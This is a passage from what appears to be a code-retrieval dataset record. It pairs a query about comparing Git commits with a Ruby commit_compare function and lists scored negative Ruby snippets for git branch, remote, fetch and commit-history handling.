"def get_remotes()\n to_return = {}\n count = 1\n num_dirs = Dir.glob('./*/').size() -2 # exclude . and ..\n Dir.glob('./*/').each() do |dir|\n next if dir == '.' or dir == '..'\n\n print \"Processing directories...#{count}/#{num_dirs}\\r\" if !$verbose\n count += 1\n\n if(File.directory?(dir) and File.exists?(dir + '/.git'))\n Dir.chdir dir\n remotes = `git remote -v`.split(\"\\n\")\n\n vprint(dir.ljust(25))\n remotes.each() do |remote|\n if(remote.index('(fetch)'))\n parts = remote.split(\"\\t\")\n\n remote_name = get_remote_name(parts[1])\n vprint(\"[#{parts[0]} #{remote_name}]\".ljust(20))\n if(remote_name != nil)\n index = parts[0] + ' - ' + remote_name\n if(to_return[index] == nil)\n to_return[index] = Array.new()\n end\n to_return[index].push(dir)\n else\n puts \"\\nDon't know what to do with #{remote} in dir #{dir}\"\n end\n end\n end # end remotes loop\n\n vprint \"\\n\"\n Dir.chdir '..'\n end # end if file.directory\n end\n\n print \"\\n\"\n return to_return\nend",
"def check_that_current_branch_is_up_to_date_with_origin_master\n return true if options['skip-git-up-to-date-check']\n git_repo = Repositext::Repository.new\n latest_commit_sha_remote = git_repo.latest_commit_sha_remote\n begin\n latest_local_commit = git_repo.lookup(latest_commit_sha_remote)\n rescue Rugged::OdbError => e\n # Couldn't find remote's latest commit in local repo, raise error\n raise GitRepoNotUpToDateError.new([\n '',\n \"Your local '#{ git_repo.current_branch_name }' branch is not up-to-date with origin/master.\",\n 'Please get the updates from origin/master first before running a repositext command.',\n 'You can bypass this check by appending \"--skip-git-up-to-date-check=true\" to the repositext command'\n ].join(\"\\n\"))\n end\n end",
"def prepare(new=false, name=nil)\n # remember original branch the user was currently working on\n original_branch = local.source_branch\n if new || !local.on_feature_branch?\n local_branch = move_uncommitted_changes(local.target_branch, name)\n else\n local_branch = original_branch\n end\n [original_branch, local_branch]\n end",
"def update!(**args)\n @remote_branch = args[:remote_branch] if args.key?(:remote_branch)\n end",
"def get_last_release_versions\n # determine last SIMP release\n last_release = nil\n last_puppetfile = nil\n debug('Determining last SIMP release')\n\n Dir.chdir(\"#{@options[:work_dir]}/simp-core\") do |dir|\n `git fetch -t origin 2>/dev/null`\n tags = `git tag -l`.split(\"\\n\")\n debug(\"Available simp-core tags = #{tags}\")\n last_release = (tags.sort { |a,b| Gem::Version.new(a) <=> Gem::Version.new(b) })[-1]\n `git checkout -q tags/#{last_release}`\n src = File.join(dir, 'Puppetfile.pinned')\n last_puppetfile = File.join(@options[:work_dir], \"Puppetfile.#{last_release}\")\n debug(\"Copying simp-core #{last_release} Puppetfile.pinned into #{last_puppetfile}\")\n FileUtils.cp(src, last_puppetfile)\n `git checkout -q master`\n end\n\n debug(\"Retrieving component versions for SIMP #{last_release} from #{last_puppetfile}\")\n @last_release_versions = {}\n helper = PuppetfileHelper.new(last_puppetfile, @options[:work_dir], false)\n helper.modules.each do |mod|\n @last_release_versions[mod[:name]] = mod[:desired_ref]\n end\n end",
"def update\n [\n git('checkout', '.'),\n git('clean', '-ffd'),\n git('fetch', 'origin'),\n git('checkout', branch),\n git('pull', '--recurse-submodules=yes'),\n git('checkout', commit_hash_for_checkout),\n git('submodule', 'update', '--init'),\n git('clean', '-ffd')\n ].join(\"\\n\")\n end",
"def git_version(paths)\n return if paths.nil?\n\n paths.map { |path| Licensed::Git.version(path) }\n .reject { |sha| sha.to_s.empty? }\n .max_by { |sha| Licensed::Git.commit_date(sha) }\n end",
"def update\n working_dir do\n git 'fetch', 'origin'\n git 'checkout', branch\n git 'reset', '--hard', \"origin/#{branch}\"\n git 'submodule', 'update', '--init'\n end\n end",
"def discover_default_branch\n now_head = Ref.extract_branch_name(rugged_head.name)\n return now_head if now_head.to_s != \"\"\n\n names = local_branch_names\n if names.length == 0\n nil\n elsif names.include?(\"master\")\n \"master\"\n else\n names.first\n end\n end",
"def all\n fetch\n FileUtils.cd File.dirname(__FILE__) do\n uncommitted_chamges = `git diff`.strip\n ahead_origin = `git log origin/master...HEAD --right-only 2> /dev/null | grep '^commit'`.strip\n behind_origin = `git log origin/master...HEAD --left-only 2> /dev/null | grep '^commit'`.strip\n\n if uncommitted_chamges != \"\"\n say \"You have uncommitted changes in your local tree. Cannot automatically upgrade.\"\n elsif ahead_origin != \"\"\n say \"You have unpushed changes in your local tree. Cannot automatically upgrade.\"\n elsif options[:force] || behind_origin != \"\"\n say \"You are missing some upstream changes.\"\n if options[:force] || !no?(\"Would you like to upgrade? (Y/n)\")\n run \"git pull origin master\"\n end\n else\n say \"No upstream changes to pull\"\n end\n end\n end",
"def merge(branch_name)\n remote_commit = last_commit(remote_branch_from_local(branch_name))\n\n @rugged_repository.references.update(rugged_repository.head, remote_commit.oid)\n end",
"def remote_branch_from_local(branch_name)\n remote_branches.find { |x| x.ends_with?(branch_name) }\n end",
"def pullFromGitRemotes(branch)\n remotes = `git remote`.split(\"\\n\")\n remotes.each do |remote|\n remote.chomp!\n UI.important(\"Pulling #{branch} from remote: #{branch}\\\"\")\n sh(\"git pull --no-edit #{remote} #{branch}\")\n end\nend",
"def grit_update\n grit_repo = Repo.new(self.aq_repository.path)\n new_commits_count = grit_repo.commit_count(self.name) - self.commits.count\n count = 0\n while (count < new_commits_count)\n commits = grit_repo.commits(self.name, 10, count)\n commits.each do |c|\n if not self.commits.find_by_sha(c.id)\n a_commit = AqCommit.new(:sha => c.id,\n :log => c.message,\n :author_name => c.author.name,\n :created_at => c.committed_date,\n :committed_time => c.committed_date,\n :repository => self.aq_repository)\n c.diffs.each do |diff|\n begin\n a_file = AqFile.find_by_path(diff.b_path, :conditions => [\"aq_branch_id = ?\", self.id])\n rescue\n a_file = nil\n end\n if !a_file\n a_file = AqFile.new(:name => diff.b_path.split(\"/\").last, :path => diff.b_path)\n a_file.branch = self\n end\n self.files << a_file if !a_file.branch\n self.aq_repository.files << a_file if !a_file.repository\n a_commit.aq_files << a_file\n end\n a_commit.author = self.aq_repository.owner\n self.commits << a_commit\n self.save\n end\n end\n diff_c = new_commits_count - count\n if (diff_c > 10)\n count += 10\n else\n count += diff_c\n end\n end\n if self.aq_repository.owner.nil?\n the_user = User.our_current_user.login || \"error: cant get user login\"\n else\n the_user = self.aq_repository.owner.login\n end\n aq_logger(Settings.logs.scm, \"User #{the_user}, Branch : #{self.name}, #{count} commits treated.\")\n end",
"def branches\n @branches = config.fetch('branches', ['master'])\n end",
"def branches\n @branches = config.fetch('branches', ['master'])\n end",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{branch}\"\n branch\nend",
"def fetch_latest_code!\n `git clone --quiet #{Shellwords.escape(SOURCE_REPO)} .`\nend",
"def stable_branch(*)\n @stable_branch\n end",
"def initialize_ivars\n @local = @working_changeset = @repo[nil]\n @target_changeset = @repo[@node]\n # tip of current branch\n @node ||= @repo.branch_tags[@working_changeset.branch]\n @node = @repo.lookup(\"tip\") if @node.nil? && @working_changeset.branch == \"default\"\n \n @remote = @repo[@node]\n @local_parent = @working_changeset.parents.first\n @ancestor = @local_parent.ancestor(@remote)\n @overwrite = false\n end",
"def list\n Rugged::Branch.each_name(@git, :local).to_a\n end",
"def update(branches)\n ApplicationUtils.acquiring_lock_file('updating') do\n started_at = Time.now\n ncommits = 0\n\n git_fetch\n pulled_at = Time.now\n\n if names_mapping_updated = names_mapping_updated?\n logger.info(\"there's a new names mapping\")\n else\n logger.info(\"same names mapping than in last repo update\")\n end\n\n Commit.transaction do\n ncommits = import_new_commits(branches)\n logger.info(\"#{ncommits} new commits imported into the database\")\n\n break if ncommits.zero? && !names_mapping_updated\n\n only_for_new_commits = !names_mapping_updated\n contributor_names_per_commit = compute_contributor_names_per_commit(only_for_new_commits)\n manage_gone_contributors(contributor_names_per_commit.values.flatten.uniq) if names_mapping_updated\n\n logger.info(\"updating database\")\n assign_contributors(contributor_names_per_commit)\n update_ranks\n end\n\n if cache_needs_expiration?(ncommits, names_mapping_updated)\n logger.info(\"expiring cache\")\n expire_caches\n else\n logger.info(\"current cache is valid\")\n end\n\n ended_at = Time.now\n\n logger.info(\"update completed in %.1f seconds\" % [ended_at - started_at])\n RepoUpdate.create(\n :ncommits => ncommits,\n :started_at => started_at,\n :pulled_at => pulled_at,\n :ended_at => ended_at\n )\n end\n end",
"def latest_pipelines(project_id)\n last_20_pipelines(project_id).each_with_object({}) do |pipeline, all_latest_pipelines|\n branch = pipeline['ref']\n all_latest_pipelines[branch] = pipeline if all_latest_pipelines[branch].nil?\n end\nend"
] | [
"0.6456059",
"0.61433715",
"0.6111698",
"0.6100275",
"0.6029736",
"0.5928329",
"0.58990073",
"0.58990073",
"0.5838098",
"0.5792897",
"0.5786849",
"0.577321",
"0.5762894",
"0.5724506",
"0.57168084",
"0.5703052",
"0.5603026",
"0.56023556",
"0.5601449",
"0.5594883",
"0.55763453",
"0.55721545",
"0.55681163",
"0.55635875",
"0.55629444",
"0.55399376",
"0.5525519",
"0.55007726",
"0.54806495",
"0.54801685",
"0.54789084",
"0.54763573",
"0.5467311",
"0.54673",
"0.54264224",
"0.5398831",
"0.53912085",
"0.53903985",
"0.5388857",
"0.53872883",
"0.5382268",
"0.53795236",
"0.53663594",
"0.5335619",
"0.5326288",
"0.53239423",
"0.53180474",
"0.53179973",
"0.53149223",
"0.53083366",
"0.5302105",
"0.52943957",
"0.52877307",
"0.528586",
"0.5281485",
"0.5277999",
"0.5275074",
"0.5270558",
"0.52671635",
"0.52635264",
"0.52614266",
"0.5256352",
"0.52450734",
"0.5242804",
"0.5235941",
"0.5231436",
"0.5227123",
"0.52227896",
"0.5222494",
"0.52213025",
"0.52198404",
"0.5219681",
"0.52195275",
"0.5216485",
"0.5210229",
"0.52061206",
"0.5205232",
"0.5193571",
"0.51899374",
"0.5183782",
"0.51777256",
"0.51738894",
"0.51682216",
"0.5165736",
"0.5161628",
"0.5161417",
"0.5160383",
"0.51588196",
"0.5157306",
"0.51557213",
"0.5148126",
"0.5148126",
"0.5144417",
"0.5144417",
"0.5140549",
"0.5137529",
"0.5132078",
"0.5125286",
"0.51199853",
"0.5113572"
] | 0.72239935 | 0 |
Custom comparison for Git commits The greatest commits are leaves, the least commits are parents | def commit_compare(repo, left, right)
if left == right
0
elsif repo.descendant_of? left, right
1
elsif repo.descendant_of? right, left
-1
else
nil
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def branches_containing_commit(commit_ref); end",
"def branches_containing_commit(commit_ref); end",
"def compare_branches(join_request)\n working_repo = ::GitFunctionality::Repo.new.get_working_repo(join_request.curricula)\n master_commit = working_repo.branches['master'].gcommit\n user = User.find_by_id(join_request.creator_id)\n request_commit = working_repo.branches[user.username].gcommit\n working_repo.diff(master_commit, request_commit)\n end",
"def find_common_commit(downstream_dir, upstream_dir, rev_list_down, rev_list_up)\n\n # start with first commit from downstream\n #rev_list_down.reverse.each do |ref|\n output_size={}\n # NOTE: always just check the last (oldest) commit from downstream.\n # you could iterate through them all, but it would change form O(n) to O(n2)\n # I was thinking it would be annoyingly slow, so I didn't even bother trying\n # rev_list_down.each do |ref|\n ref = rev_list_down.last\n # checkout the last commit from downstream\n checkout(downstream_dir, ref)\n # iterate throuug all upstream commits\n rev_list_up.each do |ref2|\n # checkout upstream code based on that commit\n checkout(upstream_dir, ref2)\n # run the recursive diff\n out = system_cmd(\"diff -r --exclude=.svn --exclude=.git #{upstream_dir} #{downstream_dir}\")\n #puts out\n # if return code is true (ie: they match!)\n if out[1]\n puts \"Upstream #{ref2} matches downstream #{ref}\"\n # return the references that match [downstream, upstream]\n return [ref, ref2]\n else\n output_size[out[0].size] ||= {}\n # if they don't match, save the references, and diff output\n output_size[out[0].size][\"#{ref}_#{ref2}\"] = out[0]\n end\n end\n #end\n smallest = output_size.keys.sort.first\n puts \"the least number of difference found is: #{smallest}\"\n puts \"we found #{output_size[smallest].size} one repos of this diff size\"\n puts \"The output from the first one of this size is:\\n#{output_size[smallest].values.first.join(\"\\n\")}\"\n refs=output_size[smallest].keys.first.split('_')\n puts \"For refs: #{refs}\"\n checkout(downstream_dir, refs[0])\n checkout(upstream_dir, refs[1])\n if output_size[smallest].size == 1\n # if there is only one smallest matching, show the user the diff and ask them if they want\n # to try to rebase anyways\n puts 'Do you want to proceed with rebasing this result?(Yes or No)'\n result = gets\n if result.chomp == 'Yes'\n return refs\n end\n end\n raise \"Could not find any common anscestor\"\nend",
"def child_compare(parent)\n\t\tunless parent.nil?\n\t\t\tif parent.left.nil? && parent.right.nil?\n\t\t\t\tnil\n\t\t\telsif parent.right.nil?\n\t\t\t\tif parent.value > parent.left.value\n\t\t\t\t\tswap(parent.left, parent)\n\t\t\t\tend\n\t\t\telse\t\t\n\t\t\t\tif parent.value > parent.left.value || parent.value > parent.right.value\n\t\t\t\t\tif parent.left.value < parent.right.value\n\t\t\t\t\t\tswap(parent.left, parent)\n\t\t\t\t\t\tchild_compare(parent.left)\n\t\t\t\t\telse\n\t\t\t\t\t\tswap(parent.right, parent)\n\t\t\t\t\t\tchild_compare(parent.right)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def get_initial_commit\n\t\t`git rev-list --max-parents=0 HEAD`.chomp\n\tend",
"def branches_containing_commit(commit_ref)\n `git branch --column=dense --contains #{commit_ref}`.\n sub(/\\((HEAD )?detached (from|at) .*?\\)/, ''). # ignore detached HEAD\n split(/\\s+/).\n reject { |s| s.empty? || s == '*' }\n end",
"def check_commits(git)\n # Find either the latest tag (release) or the first commit in the repo.\n last_release = if git.tags.empty?\n git.log.last\n else\n git.tags.last\n end\n\n # Find all commits since the last release that are not only version bumps.\n commits = git.log.between(last_release.sha, 'master').select do |commit|\n if commit.message !~ /^bump.*for/i\n changed_files = commit.diff_parent.stats[:files].keys\n if changed_files.size != 1 || changed_files.first !~ /lib\\/.*\\/version\\.rb/\n true\n end\n end\n end\n\n # Find all pushed commits since the last release.\n pushed_commits = git.log.between(last_release.sha, 'origin/master').inject(Set.new) do |memo, commit|\n memo << commit.sha\n memo\n end\n\n commits.map {|commit| [commit, pushed_commits.include?(commit.sha), last_release] }\n end",
"def rebased_commits\n rebased_ref = detached_head? ? 'HEAD' : rebased_branch\n @rebased_commits ||=\n `git rev-list --topo-order --reverse #{upstream_branch}..#{rebased_ref}`.\n split(\"\\n\")\n end",
"def last_commits\n sh(\"git log --topo-order --pretty=format:'%H' | head\").split(\"\\n\")\n end",
"def gantt_issue_compare(x, y, issues) \n if @query.group_by == nil || @query.group_by == \"\"\n return [(x.root.start_date or x.start_date or Date.new()), x.root_id, (x.start_date or Date.new()), x.lft] <=> [(y.root.start_date or y.start_date or Date.new()), y.root_id, (y.start_date or Date.new()), y.lft]\n end\n \n if x.leaf? && !y.leaf? then\n return 1\n end\n\n if !x.leaf? && y.leaf? then\n return -1\n end\n\n return sort_group(x, y, issues)\n end",
"def oldest_commit\n commits.last\n end",
"def commits_since_tag\n commits_regexp = /^.*-(\\d+)\\-g[0-9a-f]+$/\n match = commits_regexp.match(git_describe)\n match ? match[1].to_i : 0\n end",
"def compare(repo, start, endd, options = {})\n paginate \"#{Repository.path repo}/compare/#{start}...#{endd}\", options do |data, last_response|\n data.commits.concat last_response.data.commits\n end\n end",
"def child_compare(parent)\n\t\tunless parent.nil?\n\t\t\tif parent.left.nil? && parent.right.nil?\n\t\t\t\tnil\n\t\t\telsif parent.right.nil?\n\t\t\t\tif parent.rating > parent.left.rating\n\t\t\t\t\tswap(parent.left, parent)\n\t\t\t\tend\n\t\t\telse\t\t\n\t\t\t\tif parent.rating > parent.left.rating || parent.rating > parent.right.rating\n\t\t\t\t\tif parent.left.rating < parent.right.rating\n\t\t\t\t\t\tswap(parent.left, parent)\n\t\t\t\t\t\tchild_compare(parent.left)\n\t\t\t\t\telse\n\t\t\t\t\t\tswap(parent.right, parent)\n\t\t\t\t\t\tchild_compare(parent.right)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def commit_distance\n @earliest_commit ||= (Date.today - last_commits_at.min.to_date).to_i\n end",
"def commit_closest_earlier_pr(pr)\n walker = Rugged::Walker.new(git)\n walker.sorting(Rugged::SORT_DATE)\n walker.push(git.head.target)\n result = walker.reduce([]) do |acc, commit|\n if commit.time < pr[:created_at]\n acc << commit.oid\n else\n acc\n end\n end\n result.size > 0 ? result[0] : nil\n end",
"def ensure_parents(commit)\n commits = db[:commits]\n parents = db[:commit_parents]\n commit['parents'].map do |p|\n save do\n url = p['url'].split(/\\//)\n this = commits.first(:sha => commit['sha'])\n parent = commits.first(:sha => url[7])\n\n if parent.nil?\n c = retrieve_commit(url[5], url[7], url[4])\n if c.nil?\n warn \"Could not retrieve commit_parent #{url[4]}/#{url[5]} -> #{url[7]} to #{this[:sha]}\"\n next\n end\n parent = store_commit(c, url[5], url[4])\n end\n\n if parent.nil?\n warn \"Could not find #{url[4]}/#{url[5]} -> #{url[7]}, parent to commit #{this[:sha]}\"\n next\n end\n\n if parents.first(:commit_id => this[:id],\n :parent_id => parent[:id]).nil?\n\n parents.insert(:commit_id => this[:id],\n :parent_id => parent[:id])\n info \"Added commit_parent #{parent[:sha]} to commit #{this[:sha]}\"\n else\n debug \"Parent #{parent[:sha]} for commit #{this[:sha]} exists\"\n end\n parents.first(:commit_id => this[:id], :parent_id => parent[:id])\n end\n end.select{|x| !x.nil?}\n end",
"def commits\n return @commits if @commits\n # perform search and memoize result\n commits_from_search = []\n commits_from_search = parent_report_group.commits if parent_report_group\n find_by_hash.each do |field, args|\n commits_from_search = self.send(\"find_by_#{field}\".to_sym, commits_from_search, args)\n end\n @commits = commits_from_search\n end",
"def assert_log_equal(expected, repo)\n assert_equal expected.sort, repo.grit.commits('gitgo').collect {|c| c.message }.sort\n end",
"def parent_compare(child, parent)\n\t\tunless parent.nil?\n\t\t\tif child.value < parent.value\n\t\t\t\tswap(child, parent)\n\t\t\t\tparent_compare(child, child.parent)\n\t\t\tend \n\t\tend\n\tend",
"def commit_touches_path?(commit, walker)\n entry = tree_entry(commit)\n\n num_treesame = 0\n if commit.parents.empty?\n # This is the root commit, return true if it has +path+ in its tree\n return !entry.nil?\n end\n\n commit.parents.each do |parent|\n parent_entry = tree_entry(parent)\n\n # Only follow the first TREESAME parent for merge commits\n if num_treesame > 0\n walker.hide(parent)\n next\n end\n\n if entry.nil? && parent_entry.nil?\n num_treesame += 1\n elsif entry && parent_entry && entry[:oid] == parent_entry[:oid]\n num_treesame += 1\n end\n end\n\n case num_treesame\n when 0\n true\n else false\n end\n end",
"def verify_commits expected_commits\n expected_commits.diff! commits_in_current_repo(expected_commits.headers)\nend",
"def commits(commit=head)\n commits_for(commit)\n end",
"def same?(previous_revision, active_revision, paths = nil)\n run(\"#{git} diff '#{previous_revision}'..'#{active_revision}' --exit-code --name-only -- #{Array(paths).join(' ')} >/dev/null 2>&1\")\n end",
"def new_commits?()\n\t\treturn @new_commits if @new_commits.is_a?(Boolean) \n\t\thead = repo().commits.first\n\t\tif head.committed_date > last_commit.committed_date \n\t\t\t@new_commits = true\n\t\telse\n\t\t\t@new_commits = false \n\t\tend\n\t\treturn @new_commits\n\tend",
"def ensure_fork_commits(owner, repo, parent_owner, parent_repo)\n\n currepo = ensure_repo(owner, repo)\n\n if currepo.nil?\n warn \"Could not find repo #{owner}/#{repo}\"\n return\n end\n\n parent = ensure_repo(parent_owner, parent_repo)\n\n if parent.nil?\n warn \"Could not find repo #{parent_owner}/#{parent_repo}, parent of #{owner}/#{repo}\"\n return\n end\n\n strategy = case\n when config(:fork_commits).match(/all/i)\n :all\n when config(:fork_commits).match(/fork_point/i)\n :fork_point\n when config(:fork_commits).match(/none/i)\n :none\n else\n :fork_point\n end\n\n fork_commit = ensure_fork_point(owner, repo)\n\n if fork_commit.nil? or fork_commit.empty?\n warn \"Could not find fork commit for repo #{owner}/#{repo}. Retrieving all commits.\"\n return ensure_commits(owner, repo, fork_all: true)\n end\n\n debug \"Retrieving commits for fork #{owner}/#{repo}: strategy is #{strategy}\"\n return if strategy == :none\n\n if strategy == :fork_point\n # Retrieve commits up to fork point (fork_commit strategy)\n info \"Retrieving commits for #{owner}/#{repo} until fork commit #{fork_commit[:sha]}\"\n master_branch = retrieve_default_branch(parent_owner, parent_repo)\n return if master_branch.nil?\n\n sha = master_branch\n found = false\n while not found\n commits = retrieve_commits(repo, sha, owner, 1)\n\n # This means that we retrieved no commits\n if commits.size == 0\n break\n end\n\n # This means we retrieved the last page again\n if commits.size == 1 and commits[0]['sha'] == sha\n break\n end\n\n for c in commits\n ensure_commit(repo, c['sha'], owner)\n sha = c['sha']\n if c['sha'] == fork_commit[:sha]\n found = true\n break\n end\n end\n end\n end\n\n if strategy == :all\n\n shared_commit = db[:commits].first(:sha => fork_commit)\n copied = 0\n to_copy = db.from(:project_commits, :commits).\\\n where(Sequel.qualify('project_commits', 'commit_id') => Sequel.qualify('commits', 'id')).\\\n where(Sequel.qualify('project_commits', 'project_id') => parent[:id]).\\\n where('commits.created_at < ?', shared_commit[:created_at]).\\\n select(Sequel.qualify('commits','id'))\n\n to_copy.each do |c|\n copied += 1\n begin\n db[:project_commits].insert(\n :project_id => currepo[:id],\n :commit_id => c[:id]\n )\n debug \"Copied commit #{c[:sha]} #{parent_owner}/#{parent_repo} -> #{owner}/#{repo} (#{copied} total)\"\n rescue StandardError => e\n warn \"Could not copy commit #{c[:sha]} #{parent_owner}/#{parent_repo} -> #{owner}/#{repo} : #{e.message}\"\n end\n end\n info \"Finished copying commits from #{parent_owner}/#{parent_repo} -> #{owner}/#{repo}: #{copied} total\"\n end\n\n end",
"def last_commit_changed_status?\n ref = last_commit.ref\n last_commits = commits.where(ref: ref).last(2)\n\n if last_commits.size < 2\n false\n else\n last_commits[0].status != last_commits[1].status\n end\n end",
"def git_version(paths)\n return if paths.nil?\n\n paths.map { |path| Licensed::Git.version(path) }\n .reject { |sha| sha.to_s.empty? }\n .max_by { |sha| Licensed::Git.commit_date(sha) }\n end",
"def commits_on_pr_files(pr, months_back)\n\n oldest = Time.at(Time.at(pr[:created_at]).to_i - 3600 * 24 * 30 * months_back)\n commits = commit_entries(pr, at_open = true)\n\n commits_per_file = commits.flat_map { |c|\n unless c[:files].nil?\n JSON.parse(c[:files]).map { |f|\n [c[:sha], f[\"filename\"]]\n }\n else\n []\n end\n }.select{|x| x.size > 1}.group_by {|c|\n c[1]\n }\n\n commits_per_file.keys.reduce({}) do |acc, filename|\n commits_in_pr = commits_per_file[filename].map{|x| x[0]} # get the shas of pr related commits\n\n walker = Rugged::Walker.new(git)\n walker.sorting(Rugged::SORT_DATE)\n walker.push(pr[:base_commit])\n\n commit_list = walker.select do |c|\n c.time > oldest\n end.reduce([]) do |acc1, c|\n if c.diff(paths: [filename.to_s]).size > 0 and\n not commits_in_pr.include? c.oid # (oid is the object id - c.oid gets the commit sha). this commit is not part of pr's commits\n acc1 << c.oid\n end\n acc1\n end\n acc.merge({filename => commit_list})\n end\n end",
"def recent_branches_strict\n\t\tbranches = `git branch -a`.gsub!(/^\\*?\\s+|\\(no branch\\)\\s*/, \"\").split(/\\n/).map {|i|\n\t\t\ti.split(/ -> /)[0]\n\t\t}\n\t\tretrieve_branch_details(branches)\n\tend",
"def commit_hash(branch_or_tag = nil)\n git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"def find_ancestor(left, right=nil)\n right ||= resolve_rev \"HEAD\"\n hash = @git.merge_base({}, left, right)\n return nil if $?.exitstatus != 0\n return hash.strip\n end",
"def get_commits\n # get the last build number\n build_tag = last_build_git_data\n @last_build_number = build_tag[:build_number]\n if @last_build_number == 0\n puts \"unable to get last build number using git describe. It returned #{build_tag[:describe]} but \\\nexpecting something that has letters followed by numbers. Unable to continue\"\n exit 1\n end\n\n # Jenkins will tag the build before running the deploy, @last_build_number - 1 will get the previous built version to get the diff.\n # However, if prev_build is set, use that instead. \n from_build = (@prev_build.nil?) ? (@last_build_number.to_i - 1) : @prev_build.to_i\n \n # now fetch all commits for anything between the current revision and the last build number\n last_build_tag = \"#{build_tag[:tag_name]}#{from_build}\"\n # puts \"looking for commits between #{last_build_tag} and #{@build_revision}\"\n \n commits = @repo.commits_between(last_build_tag, @build_revision)\n if (commits && commits.length > 0)\n load_tasks(commits)\n else\n puts \"No commits logs (other than possibly merges) were found between tag #{last_build_tag} and build revision #{build_revision}. \\n\nNothing to report on, exiting. \"\n exit 1\n end\n end",
"def currentcommit\n %x{git rev-parse HEAD}.squish\n end",
"def compare_node(node1, node2)\n node1.value <=> node2.value\n end",
"def get_all_commits_in_repo\n @branches.collect(&:commits).flatten.sort_by { |k| k.authored_date }.reverse\n end",
"def committed_files sha\n array_output_of \"git diff-tree --no-commit-id --name-only -r #{sha}\"\nend",
"def parents\n load unless @attributes.include?(:parents)\n @parents ||= @attributes[:parents].map { |p| Commit.new(connection, p.merge(:repo => repo)) }\n end",
"def branch\n Branch[comparable.segments.first(2).join('.')]\n end",
"def commits_rollup\n return commits if @groups.empty?\n @groups.inject([]) {|commits, group| commits |= group.commits_rollup}.sort!\n end",
"def compare(left, right)\n left_right = left.to_s + right.to_s\n right_left = right.to_s + left.to_s\n left_right.to_i > right_left.to_i\nend",
"def check_commit\n return if @tree\n \n data = @base.lib.commit_data(@objectish)\n set_commit(data)\n end",
"def next_commit\n h = history\n h.each_index { |i| return (i != 0 && h[i - 1]) if h[i].date <= @commit.date }\n h.last # FIXME. Does not work correctly if history is too short\n end",
"def <=>(another_object)\n return 0 if self.leaf? && another_object.leaf?\n return 1 unless self.leaf?\n return -1 unless another_object.leaf?\n self <=> another_object\n end",
"def same?(previous_revision, active_revision, paths=nil)\n run_and_success?(\"#{git} diff '#{previous_revision}'..'#{active_revision}' --exit-code --name-only -- #{Array(paths).join(' ')} >/dev/null 2>&1\")\n end",
"def diff_from_parent(options = {})\n @repository.gitaly_commit_client.diff_from_parent(self, options)\n end",
"def all_commits\n `git --git-dir=#{git_dir} log --all --pretty='%H'`.split(/\\n/).uniq\n end",
"def compare(context, left, right)\n return compare_with_node_set(\n context, left.to_node_set(context), right) if left.node_set?\n return compare_with_node_set(\n context, right.to_node_set(context), left, reverse: true) if right.node_set?\n do_compare(left, right)\n end",
"def history_of_interest\n @history_of_interest ||= \\\n begin\n target_ids = repo.commits(target, false).map(&:id_abbrev)\n master_ids = repo.commits('master', false).map(&:id_abbrev)\n common_ancestor = (target_ids & master_ids).first\n history = (target_ids - master_ids) + [common_ancestor]\n history.reverse # start with oldest\n end\nend",
"def commits\n @commits ||= data[:commits].map { |commit| project.commit(commit[:id]) }.reverse\n end",
"def commits_between(from, to)\n if from.nil? || to.nil?\n @repo.commits(\"master\", 1000000)\n else\n @repo.commits(\"master\", 1000000).select {|c| c.date > from && c.date <= to}\n end \n end",
"def unmerged_commits\n commits = compare.commits\n\n if commits.present?\n commits = Commit.decorate(commits, merge_request.source_project).reverse\n end\n\n commits\n end",
"def commits(limit = 10, start = head)\n entries = []\n current = start\n\n while current and entries.size < limit\n entries << current\n current = get(current.parent.first)\n end\n\n entries\n end",
"def test_max_2_nodes_one_to_left\n @tree.insert(\"b\")\n @tree.insert(\"a\")\n assert_equal \"b\", @tree.max\n end",
"def get_closest_processed_parent(parent_commit_id)\n parent = repo.each_commit_starting_at(parent_commit_id).find do |rev|\n commit_exists?(repo_name, rev.getId.name)\n end\n\n parent.getId.name if parent\n end",
"def commit\n\t$VP.join('.git/refs/heads/master').read[0..8] rescue nil\nend",
"def equal_by_tree?(graph_obj1, graph_obj2)\n check_pre((graph_obj?(graph_obj1) and graph_obj?(graph_obj2)))\n if (not equal_by_dim?(graph_obj1, graph_obj2)) then false\n elsif graph_obj1.union1d? and graph_obj2.union1d? then equal_by_tree?(graph_obj1.left, graph_obj2.left) and \n equal_by_tree?(graph_obj1.right, graph_obj2.right)\n# elsif (range1d?(graph_obj1) and range1d?(graph_obj2)) or\n# (point1d?(graph_obj1) and point1d?(graph_obj2)) then (graph_obj1 == graph_obj2)\n elsif graph_obj1.union2d? and graph_obj2.union2d? then equal_by_tree?(graph_obj1.left, graph_obj2.left) and \n equal_by_tree?(graph_obj1.right, graph_obj2.right)\n elsif (graph_obj1.range2d? and graph_obj2.range2d?) or \n (graph_obj1.point2d? and graph_obj2.point2d?) or\n (range1d?(graph_obj1) and range1d?(graph_obj2)) or\n (point1d?(graph_obj1) and point1d?(graph_obj2)) then true\n \n# (graph_obj1.x_range == graph_obj2.x_range) and\n# (graph_obj1.y_range == graph_obj2.y_range)\n# elsif (graph_obj1.point2d? and graph_obj2.point2d?) then (graph_obj1.x == graph_obj2.x) and (graph_obj1.y == graph_obj2.y)\n else false\n end\nend",
"def next_commit\n h = history\n h.each_index { |i| return (i == 0 ? nil : h[i - 1]) if h[i].date <= @commit.date }\n h.last # FIXME. Does not work correctly if history is too short\n end",
"def prev_commit\n init_commits\n @prev_commit\n end",
